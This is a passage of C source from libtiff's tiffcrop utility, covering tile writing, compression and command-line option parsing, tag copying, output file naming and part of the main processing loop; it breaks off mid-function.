TIFFTAG_BITSPERSAMPLE, &bps) ) return 1; if (tilesize == 0 || tile_rowsize == 0 || tl == 0 || tw == 0) { TIFFError("writeBufferToContigTiles", "Tile size, tile row size, tile width, or tile length is zero"); exit(-1); } tile_buffsize = tilesize; if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("writeBufferToContigTiles", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != tile_buffsize / tile_rowsize) { TIFFError("writeBufferToContigTiles", "Integer overflow when calculating buffer size"); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 1; src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; if (extractContigSamplesToTileBuffer(tilebuf, bufp, nrow, ncol, imagewidth, tw, 0, spp, spp, bps, dump) > 0) { TIFFError("writeBufferToContigTiles", "Unable to extract data to tile for row %lu, col %lu", (unsigned long) row, (unsigned long)col); _TIFFfree(tilebuf); return 1; } if (TIFFWriteTile(out, tilebuf, col, row, 0, 0) < 0) { TIFFError("writeBufferToContigTiles", "Cannot write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(tilebuf); return 1; } } } _TIFFfree(tilebuf); return 0; } /* end writeBufferToContigTiles */ /* Extract each plane from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts * dump) { tdata_t obuf = _TIFFmalloc(TIFFTileSize(out)); uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint16 bps; tsample_t s; uint8* bufp = (uint8*) buf; if (obuf == NULL) return 1; TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; for (s = 0; s < spp; s++) { if (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth, tw, s, 1, spp, bps, dump) > 0) { TIFFError("writeBufferToSeparateTiles", "Unable to extract data to tile for row %lu, col %lu sample %d", (unsigned long) row, (unsigned long)col, (int)s); _TIFFfree(obuf); return 1; } if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError("writeBufferToseparateTiles", "Cannot write tile at %lu %lu sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 1; } } } } _TIFFfree(obuf); return 0; } /* end writeBufferToSeparateTiles */ static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { char* cp = NULL; if (strneq(opt, "none",4)) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while (cp) { if (isdigit((int)cp[1])) quality = atoi(cp + 1); else if (strneq(cp + 1, "raw", 3 )) jpegcolormode = JPEGCOLORMODE_RAW; else if (strneq(cp + 1, "rgb", 3 )) jpegcolormode = JPEGCOLORMODE_RGB; else usage(); cp = strchr(cp + 1, ':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_ADOBE_DEFLATE; } else return (0); return (1); } static void usage(void) { int i; fprintf(stderr, "\n%s\n", TIFFGetVersion()); for (i = 0; usage_info[i] != NULL; i++) fprintf(stderr, "%s\n", usage_info[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) -1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) /* Functions written by Richard Nolde, with exceptions noted. */ void process_command_opts (int argc, char *argv[], char *mp, char *mode, uint32 *dirnum, uint16 *defconfig, uint16 *deffillorder, uint32 *deftilewidth, uint32 *deftilelength, uint32 *defrowsperstrip, struct crop_mask *crop_data, struct pagedef *page, struct dump_opts *dump, unsigned int *imagelist, unsigned int *image_count ) { int c, good_args = 0; char *opt_offset = NULL; /* Position in string of value sought */ char *opt_ptr = NULL; /* Pointer to next token in option set */ char *sep = NULL; /* Pointer to a token separator */ unsigned int i, j, start, end; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, "ac:d:e:f:hil:m:p:r:stvw:z:BCD:E:F:H:I:J:K:LMN:O:P:R:S:U:V:X:Y:Z:")) != -1) { good_args++; switch (c) { case 'a': mode[0] = 'a'; /* append to output */ break; case 'c': if (!processCompressOptions(optarg)) /* compression scheme */ { TIFFError ("Unknown compression option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'd': start = strtoul(optarg, NULL, 0); /* initial IFD offset */ if (start == 0) { TIFFError ("","Directory offset must be greater than zero"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *dirnum = start - 1; break; case 'e': switch (tolower((int) optarg[0])) /* image export modes*/ { case 'c': crop_data->exp_mode = ONE_FILE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Composite */ case 'd': crop_data->exp_mode = ONE_FILE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Divided */ case 'i': crop_data->exp_mode = FILE_PER_IMAGE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Image */ case 'm': crop_data->exp_mode = FILE_PER_IMAGE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Multiple */ case 's': crop_data->exp_mode = FILE_PER_SELECTION; crop_data->img_mode = SEPARATED_IMAGES; break; /* Sections */ default: TIFFError ("Unknown export mode","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'f': if (streq(optarg, "lsb2msb")) /* fill order */ *deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) *deffillorder = FILLORDER_MSB2LSB; else { TIFFError ("Unknown fill order", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'h': usage(); break; case 'i': ignore = TRUE; /* ignore errors */ break; case 'l': outtiled = TRUE; /* tile length */ *deftilelength = atoi(optarg); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) *defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) *defconfig = PLANARCONFIG_CONTIG; else { TIFFError ("Unkown planar configuration", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'r': /* rows/strip */ *defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'v': TIFFError("Library Release", "%s", TIFFGetVersion()); TIFFError ("Tiffcrop version", "%s, last updated: %s", tiffcrop_version_id, tiffcrop_rev_date); TIFFError ("Tiffcp code", "Copyright (c) 1988-1997 Sam Leffler"); TIFFError (" ", "Copyright (c) 1991-1997 Silicon Graphics, Inc"); TIFFError ("Tiffcrop additions", "Copyright (c) 2007-2010 Richard Nolde"); exit (0); break; case 'w': /* tile width */ outtiled = TRUE; *deftilewidth = atoi(optarg); break; case 'z': /* regions of an image specified as x1,y1,x2,y2:x3,y3,x4,y4 etc */ crop_data->crop_mode |= CROP_REGIONS; for (i = 0, opt_ptr = strtok (optarg, ":"); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ":")), i++) { crop_data->regions++; if (sscanf(opt_ptr, "%lf,%lf,%lf,%lf", &crop_data->corners[i].X1, &crop_data->corners[i].Y1, &crop_data->corners[i].X2, &crop_data->corners[i].Y2) != 4) { TIFFError ("Unable to parse coordinates for region", "%d %s", i, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError ("Region list exceeds limit of", "%d regions %s", MAX_REGIONS, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1);; } break; /* options for file open modes */ case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; /* options for Debugging / data dump */ case 'D': for (i = 0, opt_ptr = strtok (optarg, ","); (opt_ptr != NULL); (opt_ptr = strtok (NULL, ",")), i++) { opt_offset = strpbrk(opt_ptr, ":="); if (opt_offset == NULL) { TIFFError("Invalid dump option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *opt_offset = '\0'; /* convert option to lowercase */ end = strlen (opt_ptr); for (i = 0; i < end; i++) *(opt_ptr + i) = tolower((int) *(opt_ptr + i)); /* Look for dump format specification */ if (strncmp(opt_ptr, "for", 3) == 0) { /* convert value to lowercase */ end = strlen (opt_offset + 1); for (i = 1; i <= end; i++) *(opt_offset + i) = tolower((int) *(opt_offset + i)); /* check dump format value */ if (strncmp (opt_offset + 1, "txt", 3) == 0) { dump->format = DUMP_TEXT; strcpy (dump->mode, "w"); } else { if (strncmp(opt_offset + 1, "raw", 3) == 0) { dump->format = DUMP_RAW; strcpy (dump->mode, "wb"); } else { TIFFError("parse_command_opts", "Unknown dump format %s", opt_offset + 1); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } } else { /* Look for dump level specification */ if (strncmp (opt_ptr, "lev", 3) == 0) dump->level = atoi(opt_offset + 1); /* Look for input data dump file name */ if (strncmp (opt_ptr, "in", 2) == 0) { strncpy (dump->infilename, opt_offset + 1, PATH_MAX - 20); dump->infilename[PATH_MAX - 20] = '\0'; } /* Look for output data dump file name */ if (strncmp (opt_ptr, "out", 3) == 0) { strncpy (dump->outfilename, opt_offset + 1, PATH_MAX - 20); dump->outfilename[PATH_MAX - 20] = '\0'; } if (strncmp (opt_ptr, "deb", 3) == 0) dump->debug = atoi(opt_offset + 1); } } if ((strlen(dump->infilename)) || (strlen(dump->outfilename))) { if (dump->level == 1) TIFFError("","Defaulting to dump level 1, no data."); if (dump->format == DUMP_NONE) { TIFFError("", "You must specify a dump format for dump files"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } break; /* image manipulation routine options */ case 'm': /* margins to exclude from selection, uppercase M was already used */ /* order of values must be TOP, LEFT, BOTTOM, RIGHT */ crop_data->crop_mode |= CROP_MARGINS; for (i = 0, opt_ptr = strtok (optarg, ",:"); ((opt_ptr != NULL) && (i < 4)); (opt_ptr = strtok (NULL, ",:")), i++) { crop_data->margins[i] = atof(opt_ptr); } break; case 'E': /* edge reference */ switch (tolower((int) optarg[0])) { case 't': crop_data->edge_ref = EDGE_TOP; break; case 'b': crop_data->edge_ref = EDGE_BOTTOM; break; case 'l': crop_data->edge_ref = EDGE_LEFT; break; case 'r': crop_data->edge_ref = EDGE_RIGHT; break; default: TIFFError ("Edge reference must be top, bottom, left, or right", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'F': /* flip eg mirror image or cropped segment, M was already used */ crop_data->crop_mode |= CROP_MIRROR; switch (tolower((int) optarg[0])) { case 'h': crop_data->mirror = MIRROR_HORIZ; break; case 'v': crop_data->mirror = MIRROR_VERT; break; case 'b': crop_data->mirror = MIRROR_BOTH; break; default: TIFFError ("Flip mode must be horiz, vert, or both", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'H': /* set horizontal resolution to new value */ page->hres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'I': /* invert the color space, eg black to white */ crop_data->crop_mode |= CROP_INVERT; /* The PHOTOMETIC_INTERPRETATION tag may be updated */ if (streq(optarg, "black")) { crop_data->photometric = PHOTOMETRIC_MINISBLACK; continue; } if (streq(optarg, "white")) { crop_data->photometric = PHOTOMETRIC_MINISWHITE; continue; } if (streq(optarg, "data")) { crop_data->photometric = INVERT_DATA_ONLY; continue; } if (streq(optarg, "both")) { crop_data->photometric = INVERT_DATA_AND_TAG; continue; } TIFFError("Missing or unknown option for inverting PHOTOMETRIC_INTERPRETATION", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); break; case 'J': /* horizontal margin for sectioned ouput pages */ page->hmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'K': /* vertical margin for sectioned ouput pages*/ page->vmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'N': /* list of images to process */ for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_IMAGES)); (opt_ptr = strtok (NULL, ","))) { /* We do not know how many images are in file yet * so we build a list to include the maximum allowed * and follow it until we hit the end of the file. * Image count is not accurate for odd, even, last * so page numbers won't be valid either. */ if (streq(opt_ptr, "odd")) { for (j = 1; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = (MAX_IMAGES - 1) / 2; break; } else { if (streq(opt_ptr, "even")) { for (j = 2; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = MAX_IMAGES / 2; break; } else { if (streq(opt_ptr, "last")) imagelist[i++] = MAX_IMAGES; else /* single value between commas */ { sep = strpbrk(opt_ptr, ":-"); if (!sep) imagelist[i++] = atoi(opt_ptr); else { *sep = '\0'; start = atoi (opt_ptr); if (!strcmp((sep + 1), "last")) end = MAX_IMAGES; else end = atoi (sep + 1); for (j = start; j <= end && j - start + i < MAX_IMAGES; j++) imagelist[i++] = j; } } } } } *image_count = i; break; case 'O': /* page orientation */ switch (tolower((int) optarg[0])) { case 'a': page->orient = ORIENTATION_AUTO; break; case 'p': page->orient = ORIENTATION_PORTRAIT; break; case 'l': page->orient = ORIENTATION_LANDSCAPE; break; default: TIFFError ("Orientation must be portrait, landscape, or auto.", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'P': /* page size selection */ if (sscanf(optarg, "%lfx%lf", &page->width, &page->length) == 2) { strcpy (page->name, "Custom"); page->mode |= PAGE_MODE_PAPERSIZE; break; } if (get_page_geometry (optarg, page)) { if (!strcmp(optarg, "list")) { TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } TIFFError ("Invalid paper size", "%s", optarg); TIFFError ("", "Select one of:"); TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } else { page->mode |= PAGE_MODE_PAPERSIZE; } break; case 'R': /* rotate image or cropped segment */ crop_data->crop_mode |= CROP_ROTATE; switch (strtoul(optarg, NULL, 0)) { case 90: crop_data->rotation = (uint16)90; break; case 180: crop_data->rotation = (uint16)180; break; case 270: crop_data->rotation = (uint16)270; break; default: TIFFError ("Rotation must be 90, 180, or 270 degrees clockwise", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'S': /* subdivide into Cols:Rows sections, eg 3:2 would be 3 across and 2 down */ sep = strpbrk(optarg, ",:"); if (sep) { *sep = '\0'; page->cols = atoi(optarg); page->rows = atoi(sep +1); } else { page->cols = atoi(optarg); page->rows = atoi(optarg); } if ((page->cols * page->rows) > MAX_SECTIONS) { TIFFError ("Limit for subdivisions, ie rows x columns, exceeded", "%d", MAX_SECTIONS); exit (-1); } page->mode |= PAGE_MODE_ROWSCOLS; break; case 'U': /* units for measurements and offsets */ if (streq(optarg, "in")) { crop_data->res_unit = RESUNIT_INCH; page->res_unit = RESUNIT_INCH; } else if (streq(optarg, "cm")) { crop_data->res_unit = RESUNIT_CENTIMETER; page->res_unit = RESUNIT_CENTIMETER; } else if (streq(optarg, "px")) { crop_data->res_unit = RESUNIT_NONE; page->res_unit = RESUNIT_NONE; } else { TIFFError ("Illegal unit of measure","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'V': /* set vertical resolution to new value */ page->vres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'X': /* selection width */ crop_data->crop_mode |= CROP_WIDTH; crop_data->width = atof(optarg); break; case 'Y': /* selection length */ crop_data->crop_mode |= CROP_LENGTH; crop_data->length = atof(optarg); break; case 'Z': /* zones of an image X:Y read as zone X of Y */ crop_data->crop_mode |= CROP_ZONES; for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ",")), i++) { crop_data->zones++; opt_offset = strchr(opt_ptr, ':'); if (!opt_offset) { TIFFError("Wrong parameter syntax for -Z", "tiffcrop -h"); exit(-1); } *opt_offset = '\0'; crop_data->zonelist[i].position = atoi(opt_ptr); crop_data->zonelist[i].total = atoi(opt_offset + 1); } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError("Zone list exceeds region limit", "%d", MAX_REGIONS); exit (-1); } break; case '?': TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); /*NOTREACHED*/ } } } /* end process_command_opts */ /* Start a new output file if one has not been previously opened or * autoindex is set to non-zero. Update page and file counters * so TIFFTAG PAGENUM will be correct in image. */ static int update_output_file (TIFF **tiffout, char *mode, int autoindex, char *outname, unsigned int *page) { static int findex = 0; /* file sequence indicator */ char *sep; char filenum[16]; char export_ext[16]; char exportname[PATH_MAX]; if (autoindex && (*tiffout != NULL)) { /* Close any export file that was previously opened */ TIFFClose (*tiffout); *tiffout = NULL; } strcpy (export_ext, ".tiff"); memset (exportname, '\0', PATH_MAX); /* Leave room for page number portion of the new filename */ strncpy (exportname, outname, PATH_MAX - 16); if (*tiffout == NULL) /* This is a new export file */ { if (autoindex) { /* create a new filename for each export */ findex++; if ((sep = strstr(exportname, ".tif")) || (sep = strstr(exportname, ".TIF"))) { strncpy (export_ext, sep, 5); *sep = '\0'; } else strncpy (export_ext, ".tiff", 5); export_ext[5] = '\0'; /* MAX_EXPORT_PAGES limited to 6 digits to prevent string overflow of pathname */ if (findex > MAX_EXPORT_PAGES) { TIFFError("update_output_file", "Maximum of %d pages per file exceeded", MAX_EXPORT_PAGES); return 1; } snprintf(filenum, sizeof(filenum), "-%03d%s", findex, export_ext); filenum[14] = '\0'; strncat (exportname, filenum, 15); } exportname[PATH_MAX - 1] = '\0'; *tiffout = TIFFOpen(exportname, mode); if (*tiffout == NULL) { TIFFError("update_output_file", "Unable to open output file %s", exportname); return 1; } *page = 0; return 0; } else (*page)++; return 0; } /* end update_output_file */ int main(int argc, char* argv[]) { #if !HAVE_DECL_OPTARG extern int optind; #endif uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) 0; uint32 deftilelength = (uint32) 0; uint32 defrowsperstrip = (uint32) 0; uint32 dirnum = 0; TIFF *in = NULL; TIFF *out = NULL; char mode[10]; char *mp = mode; /** RJN additions **/ struct image_data image; /* Image parameters for one image */ struct crop_mask crop; /* Cropping parameters for all images */ struct pagedef page; /* Page definition for output pages */ struct pageseg sections[MAX_SECTIONS]; /* Sections of one output page */ struct buffinfo seg_buffs[MAX_SECTIONS]; /* Segment buffer sizes and pointers */ struct dump_opts dump; /* Data dump options */ unsigned char *read_buff = NULL; /* Input image data buffer */ unsigned char *crop_buff = NULL; /* Crop area buffer */ unsigned char *sect_buff = NULL; /* Image section buffer */ unsigned char *sect_src = NULL; /* Image section buffer pointer */ unsigned int imagelist[MAX_IMAGES + 1]; /* individually specified images */ unsigned int image_count = 0; unsigned int dump_images = 0; unsigned int next_image = 0; unsigned int next_page = 0; unsigned int total_pages = 0; unsigned int total_images = 0; unsigned int end_of_input = FALSE; int seg, length; char temp_filename[PATH_MAX + 1]; little_endian = *((unsigned char *)&little_endian) & '1'; initImageData(&image); initCropMasks(&crop); initPageSetup(&page, sections, seg_buffs); initDumpOptions(&dump); process_command_opts (argc, argv, mp, mode, &dirnum, &defconfig, &deffillorder, &deftilewidth, &deftilelength, &defrowsperstrip, &crop, &page, &dump, imagelist, &image_count); if (argc - optind < 2) usage(); if ((argc - optind) == 2) pageNum = -1; else total_images = 0; /* read multiple input files and write to output file(s) */ while (optind < argc - 1) { in = TIFFOpen (argv[optind], "r"); if (in == NULL) return (-3); /* If only one input file is specified, we can use directory count */ total_images = TIFFNumberOfDirectories(in); if (image_count == 0) { dirnum = 0; total_pages = total_images; /* Only valid with single input file */ } else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; /* Total pages only valid for enumerated list of pages not derived * using odd, even, or last keywords. */ if (image_count > total_images) image_count = total_images; total_pages = image_count; } /* MAX_IMAGES is used for special case "last" in selection list */ if (dirnum == (MAX_IMAGES - 1)) dirnum = total_images - 1; if (dirnum > (total_images)) { TIFFError (TIFFFileName(in), "Invalid image number %d, File contains only %d images", (int)dirnum + 1, total_images); if (out != NULL) (void) TIFFClose(out); return (1); } if (dirnum != 0 && !TIFFSetDirectory(in, (tdir_t)dirnum)) { TIFFError(TIFFFileName(in),"Error, setting subdirectory at %d", dirnum); if (out != NULL) (void) TIFFClose(out); return (1); } end_of_input = FALSE; while (end_of_input == FALSE) { config = defconfig; compression = defcompression; predictor = defpredictor; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (dump.format != DUMP_NONE) { /* manage input and/or output dump files here */ dump_images++; length = strlen(dump.infilename); if (length > 0) { if (dump.infile != NULL) fclose (dump.infile); /* dump.infilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-read-%03d.%s", dump.infilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.infile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.infile, dump.format, "Reading image","%d from %s", dump_images, TIFFFileName(in)); } length = strlen(dump.outfilename); if (length > 0) { if (dump.outfile != NULL) fclose (dump.outfile); /* dump.outfilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-write-%03d.%s", dump.outfilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.outfile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.outfile, dump.format, "Writing image","%d from %s", dump_images, TIFFFileName(in)); } } if (dump.debug) TIFFError("main", "Reading image %4d of %4d total pages.", dirnum + 1, total_pages); if (loadImage(in, &image, &dump, &read_buff)) { TIFFError("main", "Unable to load source image"); exit (-1); } /* Correct the image orientation if it was not ORIENTATION_TOPLEFT. */ if (image.adjustments != 0) { if (correct_orientation(&image, &read_buff)) TIFFError("main", "Unable to correct image orientation"); } if (getCropOffsets(&image, &crop, &dump)) { TIFFError("main", "Unable to define crop regions"); exit (-1); } if (crop.selections > 0) { if (processCropSelections(&image, &crop, &read_buff, seg_buffs)) { TIFFError("main", "Unable to process image selections"); exit (-1); } } else /* Single image segment without zones or regions */ { if (createCroppedImage(&image, &crop, &read_buff, &crop_buff)) { TIFFError("main", "Unable to create output image"); exit (-1); } } if (page.mode == PAGE_MODE_NONE) { /* Whole image or sections not based on output page size */ if (crop.selections > 0) { writeSelections(in, &out, &crop, &image, &dump, seg_buffs, mp, argv[argc - 1], &next_page, total_pages); } else /* One file all images and sections */ { if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeCroppedImage(in, out, &image, &dump,crop.combined_width, crop.combined_length, crop_buff, next_page, total_pages)) { TIFFError("main", "Unable to write new image"); exit (-1); } } } else { /* If we used a crop buffer, our data is there, otherwise it is * in the read_buffer */ if (crop_buff != NULL) sect_src = crop_buff; else sect_src = read_buff; /* Break input image into pages or rows and columns */ if (computeOutputPixelOffsets(&crop, &image, &page, sections, &dump)) { TIFFError("main", "Unable to compute output section data"); exit (-1); } /* If there are multiple files on the command line, the final one is assumed * to be the output filename into which the images are written. */ if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeImageSections(in, out, &image, &page, sections, &dump, sect_src, &sect_buff)) { TIFFError("main", "Unable to write image sections"); exit (-1); } } /* No image list specified, just read the next image */ 